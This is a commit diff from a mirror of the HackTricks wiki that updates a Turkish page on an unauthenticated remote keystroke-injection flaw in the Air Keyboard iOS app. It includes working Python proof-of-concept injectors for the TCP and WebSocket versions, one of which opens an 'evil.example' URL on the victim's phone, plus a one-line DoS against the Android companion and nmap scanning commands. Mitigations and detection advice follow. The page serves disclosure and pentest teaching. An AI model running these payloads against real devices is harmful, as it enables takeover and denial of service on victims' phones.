mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/ios-pentesting/air-keyboard-remote-in
This commit is contained in:
		
							parent
							
								
									dab88aff83
								
							
						
					
					
						commit
						33100a90ef
					
				@ -1,18 +1,26 @@
 | 
			
		||||
# Air Keyboard Remote Input Injection (Kimlik Doğrulaması Olmadan TCP Dinleyici)
 | 
			
		||||
# Air Keyboard Remote Input Injection (Kimlik Doğrulaması Olmadan TCP / WebSocket Dinleyici)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## TL;DR
 | 
			
		||||
 | 
			
		||||
Ticari "Air Keyboard" uygulamasının iOS versiyonu (App Store ID 6463187929), **port 8888'de açık metin TCP servisi** başlatır ve **herhangi bir kimlik doğrulaması olmadan** tuş vuruşu çerçevelerini kabul eder. Aynı Wi-Fi ağındaki herhangi bir cihaz o porta bağlanabilir ve kurbanın telefonuna rastgele klavye girişi enjekte ederek **tam uzaktan etkileşim ele geçirme** sağlar.
 | 
			
		||||
Ticari **“Air Keyboard”** uygulamasının iOS versiyonu (App Store ID 6463187929), **herhangi bir kimlik doğrulama veya kaynak doğrulaması olmadan tuş vuruşu çerçevelerini kabul eden** bir yerel ağ hizmeti sunmaktadır. Yüklenen versiyona bağlı olarak hizmet ya:
 | 
			
		||||
 | 
			
		||||
Bir eşlik eden Android sürümü **port 55535'te** dinler. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulan çöp, **OpenSSL şifre çözme rutininde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**).
 | 
			
		||||
* **≤ 1.0.4**  – **port 8888** üzerinde 2 baytlık bir uzunluk başlığı bekleyen ham TCP dinleyici ve ardından bir *device-id* ve ASCII yükü.
 | 
			
		||||
* **≥ 1.0.5 (Haziran 2025)**  – **WebSocket** dinleyici, *aynı* portta (**8888**) **JSON** anahtarlarını ayrıştırır, örneğin `{"type":1,"text":"…"}`.
 | 
			
		||||
 | 
			
		||||
## 1. Servis Keşfi
 | 
			
		||||
Bu nedenle, aynı Wi-Fi / alt ağdaki herhangi bir cihaz, **kurbanın telefonuna rastgele klavye girişi enjekte edebilir ve tam uzaktan etkileşim ele geçirme** gerçekleştirebilir.
 | 
			
		||||
Bir Android sürümü **port 55535** üzerinde dinlemektedir. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulmuş çöp veriler hala **OpenSSL içinde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**).
 | 
			
		||||
 | 
			
		||||
> Güvenlik açığı **yazım tarihi itibarıyla (Temmuz 2025)** **hala yamanmamıştır** ve uygulama App Store'da mevcut olmaya devam etmektedir.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 1. Hizmet Keşfi
 | 
			
		||||
 | 
			
		||||
Yerel ağı tarayın ve uygulamalar tarafından kullanılan iki sabit portu arayın:
 | 
			
		||||
```bash
 | 
			
		||||
# iOS (input-injection)
 | 
			
		||||
# iOS (unauthenticated input-injection)
 | 
			
		||||
nmap -p 8888 --open 192.168.1.0/24
 | 
			
		||||
 | 
			
		||||
# Android (weakly-authenticated service)
 | 
			
		||||
@ -20,72 +28,146 @@ nmap -p 55535 --open 192.168.1.0/24
 | 
			
		||||
```
 | 
			
		||||
Android cihazlarda sorumlu paketi yerel olarak tanımlayabilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
adb shell netstat -tulpn | grep 55535     # no root required on emulator
 | 
			
		||||
 | 
			
		||||
adb shell netstat -tulpn | grep 55535      # no root required on emulator
 | 
			
		||||
# rooted device / Termux
 | 
			
		||||
netstat -tulpn | grep LISTEN
 | 
			
		||||
ls -l /proc/<PID>/cmdline                # map PID → package name
 | 
			
		||||
ls -l /proc/<PID>/cmdline                 # map PID → package name
 | 
			
		||||
```
 | 
			
		||||
## 2. Çerçeve Formatı (iOS)
 | 
			
		||||
On **jailbroken iOS** üzerinde `lsof -i -nP | grep LISTEN | grep 8888` ile benzer bir şey yapabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Binary, `handleInputFrame()` rutininde aşağıdaki ayrıştırma mantığını ortaya koyuyor:
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 2. Protokol Detayları (iOS)
 | 
			
		||||
 | 
			
		||||
### 2.1  Eski (≤ 1.0.4) – özel ikili çerçeveler
 | 
			
		||||
```
 | 
			
		||||
[length (2 bytes little-endian)]
 | 
			
		||||
[device_id (1 byte)]
 | 
			
		||||
[payload ASCII keystrokes]
 | 
			
		||||
```
 | 
			
		||||
Açıklanan uzunluk, `device_id` baytını **ancak** iki baytlık başlığı içermez.
 | 
			
		||||
Açıklanan *uzunluk*, `device_id` baytını **ama** iki baytlık başlığı içermez.
 | 
			
		||||
 | 
			
		||||
## 3. Exploitation PoC
 | 
			
		||||
### 2.2  Mevcut (≥ 1.0.5) – WebSocket Üzerinden JSON
 | 
			
		||||
 | 
			
		||||
Sürüm 1.0.5, port numarasını değiştirmeden WebSocket'lere sessizce geçiş yaptı. Minimal bir tuş vuruşu şöyle görünür:
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
"type": 1,              // 1 = insert text, 2 = special key
 | 
			
		||||
"text": "open -a Calculator\n",
 | 
			
		||||
"mode": 0,
 | 
			
		||||
"shiftKey": false,
 | 
			
		||||
"selectionStart": 0,
 | 
			
		||||
"selectionEnd": 0
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Hiçbir el sıkışma, token veya imza gerekmiyor – ilk JSON nesnesi zaten UI olayını tetikliyor.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 3. Sömürü PoC
 | 
			
		||||
 | 
			
		||||
### 3.1 Hedefleme ≤ 1.0.4 (ham TCP)
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
 | 
			
		||||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
 | 
			
		||||
import socket, sys
 | 
			
		||||
 | 
			
		||||
target_ip = sys.argv[1]                  # e.g. 192.168.1.50
 | 
			
		||||
keystrokes = b"open -a Calculator\n"     # payload visible to the user
 | 
			
		||||
target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
 | 
			
		||||
keystrokes = b"open -a Calculator\n"    # payload visible to the user
 | 
			
		||||
 | 
			
		||||
frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
 | 
			
		||||
frame += b"\x01"                         # device_id = 1 (hard-coded)
 | 
			
		||||
frame += b"\x01"                        # device_id = 1 (hard-coded)
 | 
			
		||||
frame += keystrokes
 | 
			
		||||
 | 
			
		||||
with socket.create_connection((target_ip, 8888)) as s:
 | 
			
		||||
s.sendall(frame)
 | 
			
		||||
print("Injected", keystrokes)
 | 
			
		||||
print("[+] Injected", keystrokes)
 | 
			
		||||
```
 | 
			
		||||
Herhangi bir yazdırılabilir ASCII ( `\n`, `\r`, özel tuşlar vb. dahil) gönderilebilir, bu da saldırgana fiziksel kullanıcı girişi ile aynı gücü verir: uygulamaları başlatma, anlık mesaj gönderme, oltalama URL'lerini ziyaret etme vb.
 | 
			
		||||
### 3.2 Hedefleme ≥ 1.0.5 (WebSocket)
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
 | 
			
		||||
import json, sys, websocket  # `pip install websocket-client`
 | 
			
		||||
 | 
			
		||||
target_ip = sys.argv[1]
 | 
			
		||||
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
 | 
			
		||||
ws.send(json.dumps({
 | 
			
		||||
"type": 1,
 | 
			
		||||
"text": "https://evil.example\n",
 | 
			
		||||
"mode": 0,
 | 
			
		||||
"shiftKey": False,
 | 
			
		||||
"selectionStart": 0,
 | 
			
		||||
"selectionEnd": 0
 | 
			
		||||
}))
 | 
			
		||||
ws.close()
 | 
			
		||||
print("[+] URL opened on target browser")
 | 
			
		||||
```
 | 
			
		||||
*Herhangi bir yazdırılabilir ASCII — satır sonları, sekmeler ve çoğu özel tuşlar dahil — gönderilebilir, bu da saldırgana fiziksel kullanıcı girişi ile aynı gücü verir: uygulamaları başlatma, anlık mesaj gönderme, kötü niyetli URL'leri açma, ayarları değiştirme vb.*
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 4. Android Companion – Hizmet Reddi
 | 
			
		||||
 | 
			
		||||
Android portu (55535), **hard-coded AES-128-ECB anahtarı** ile şifrelenmiş 4 karakterli bir şifre ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, meşru kullanıcıların bağlantısının kesilmesi için yeterlidir, ta ki işlem yeniden başlatılana kadar.
 | 
			
		||||
Android portu (55535), **hard-coded AES-128-ECB anahtarı ile şifrelenmiş 4 karakterli bir şifre** ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, meşru kullanıcıların bağlantısının kesilmesi için yeterlidir, ta ki işlem yeniden başlatılana kadar.
 | 
			
		||||
```python
 | 
			
		||||
import socket
 | 
			
		||||
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS
 | 
			
		||||
```
 | 
			
		||||
## 5. Temel Sebep
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrolleri** yok (iOS).
 | 
			
		||||
2. **Kriptografik kötüye kullanım** (statik anahtar, ECB, uzunluk doğrulaması eksik) ve **istisna işleme eksikliği** (Android).
 | 
			
		||||
## 5. İlgili Uygulamalar – Tekrarlayan Bir Anti-Model
 | 
			
		||||
 | 
			
		||||
## 6. Azaltma ve Güçlendirme Fikirleri
 | 
			
		||||
Air Keyboard **izole bir durum değildir**. Diğer mobil “uzaktan klavye/fare” araçları da aynı hatayla piyasaya sürülmüştür:
 | 
			
		||||
 | 
			
		||||
* Mobil cihazda kimlik doğrulaması yapılmamış hizmetleri asla açığa çıkarmayın.
 | 
			
		||||
* Onboarding sırasında cihaz başına gizli anahtarlar türetin ve girişi işlemden önce doğrulayın.
 | 
			
		||||
* Dinleyiciyi `127.0.0.1` adresine bağlayın ve uzaktan kontrol için karşılıklı kimlik doğrulamalı, şifreli bir taşıma kullanın (örneğin, TLS, Noise).
 | 
			
		||||
* Mobil güvenlik incelemeleri sırasında beklenmedik açık portları tespit edin (`netstat`, `lsof`, `frida-trace` üzerinde `socket()` vb.).
 | 
			
		||||
* Bir son kullanıcı olarak: Air Keyboard'ı kaldırın veya yalnızca güvenilir, izole Wi-Fi ağlarında kullanın.
 | 
			
		||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 kimlik doğrulaması yapılmamış komut yürütme ve düz metin tuş kaydı sağlar.
 | 
			
		||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 kimlik doğrulaması yapılmamış RCE & trafik dinleme.
 | 
			
		||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 varsayılan-şifre-yok, zayıf PIN brute-force ve düz metin sızıntısı.
 | 
			
		||||
 | 
			
		||||
Bu durumlar, **mobil uygulamalardaki ağ yüzeylerine yönelik sistematik bir ihmal** olduğunu vurgulamaktadır.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 6. Temel Nedenler
 | 
			
		||||
 | 
			
		||||
1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrollerinin olmaması** (iOS).
 | 
			
		||||
2. **Kriptografik kötüye kullanım** (statik anahtar, ECB, uzunluk doğrulamasının eksikliği) ve **istisna işleme eksikliği** (Android).
 | 
			
		||||
3. **Kullanıcı tarafından verilen Yerel Ağ yetkisi ≠ güvenlik** – iOS, LAN trafiği için çalışma zamanı onayı ister, ancak bu uygun kimlik doğrulamanın yerini almaz.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 7. Güçlendirme & Savunma Önlemleri
 | 
			
		||||
 | 
			
		||||
Geliştirici önerileri:
 | 
			
		||||
 | 
			
		||||
* Dinleyiciyi **`127.0.0.1`** adresine bağlayın ve uzaktan kontrol gerekiyorsa **mTLS** veya **Noise XX** üzerinden tünel açın.
 | 
			
		||||
* **Cihaz başına gizli anahtarlar türetin** (örneğin, QR kodu veya Eşleştirme PIN'i) ve girişi işlemden önce *karşılıklı* kimlik doğrulamasını zorunlu kılın.
 | 
			
		||||
* **Apple Network Framework**'ü *NWListener* + TLS ile ham soketler yerine benimseyin.
 | 
			
		||||
* Çözümlerken veya çerçeveleri çözerken **uzunluk ön ek kontrolü** ve yapılandırılmış istisna işleme uygulayın.
 | 
			
		||||
 | 
			
		||||
Mavi/Kırmızı Takım hızlı kazanımları:
 | 
			
		||||
 | 
			
		||||
* **Ağ avı:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` veya Wireshark filtresi `tcp.port == 8888`.
 | 
			
		||||
* **Çalışma zamanı denetimi:** Beklenmedik dinleyicileri listelemek için `socket()`/`NWConnection`'ı yakalayan Frida script.
 | 
			
		||||
* **iOS Uygulama Gizlilik Raporu (Ayarlar ▸ Gizlilik & Güvenlik ▸ Uygulama Gizlilik Raporu)**, LAN adresleriyle iletişim kuran uygulamaları vurgular – sahte hizmetleri tespit etmek için faydalıdır.
 | 
			
		||||
* **Mobil EDR'ler**, port 8888 üzerindeki düz metin TCP yüklerinde `"selectionStart"`, `"selectionEnd"` JSON anahtarları için basit Yara-L kuralları ekleyebilir.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Tespit Kılavuzu (Pentesterlar)
 | 
			
		||||
```bash
 | 
			
		||||
# Quick one-liner to locate vulnerable devices in a /24
 | 
			
		||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
 | 
			
		||||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
 | 
			
		||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
 | 
			
		||||
| awk '/Ports/{print $2 "  " $4}'
 | 
			
		||||
 | 
			
		||||
# Inspect running sockets on a connected Android target
 | 
			
		||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
 | 
			
		||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
 | 
			
		||||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- [Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyon Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
 | 
			
		||||
- [CXSecurity danışmanlığı WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
 | 
			
		||||
- [Exploit-DB 52333 – Air Keyboard iOS Uygulaması 1.0.5 Uzaktan Girdi Enjeksiyonu](https://www.exploit-db.com/exploits/52333)
 | 
			
		||||
- [Mobile-Hacker Blog (17 Tem 2025) – Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyonu Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user